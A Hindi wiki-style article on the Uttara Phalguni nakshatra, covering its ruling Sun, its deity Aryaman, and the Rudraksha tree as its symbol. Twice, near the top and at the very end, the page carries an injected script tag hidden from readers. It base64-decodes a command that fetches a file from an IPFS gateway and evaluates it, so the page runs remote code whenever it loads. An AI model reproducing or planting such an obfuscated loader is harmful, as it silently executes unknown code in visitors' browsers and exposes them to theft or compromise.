उत्तरा फाल्गुनी नक्षत्र
नेविगेशन पर जाएँ
खोज पर जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
उत्तरा फाल्गुनी नक्षत्र / Uttara Falguni Nakshatra
उत्तरा फाल्गुनी नक्षत्र बारहवाँ हैं। इस नक्षत्र का स्वामी सूर्य है।
अर्थ - बाद का लाल नक्षत्र
देव - अर्यामन (संरक्षण का देवता)
- इसका प्रथम चरण सिंह राशि में आता है। अतः इस राशि वालों के सूर्य का दोहरा लाभ मिल जाता है।
- यह नाम से प्रथम चरण वाला उत्तरा फाल्गुनी नक्षत्र है।
- उत्तरा फाल्गुनी में अर्यमा का व्रत और पूजन किया जाता है।
- उत्तराफल्गुनी नक्षत्र के देवता रवि को माना जाता है।
- रुद्राक्ष के पेड को उत्तरा फाल्गुनी नक्षत्र का प्रतीक माना जाता है।
- उत्तरा फाल्गुनी नक्षत्र में जन्म लेने वाले लोग रुद्राक्ष वृक्ष की पूजा करते है।
- इस नक्षत्र में जन्म लेने वाले लोग अपने घर के ख़ाली हिस्से में रुद्राक्ष के पेड को लगाते है।
टीका टिप्पणी और संदर्भ
संबंधित लेख
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>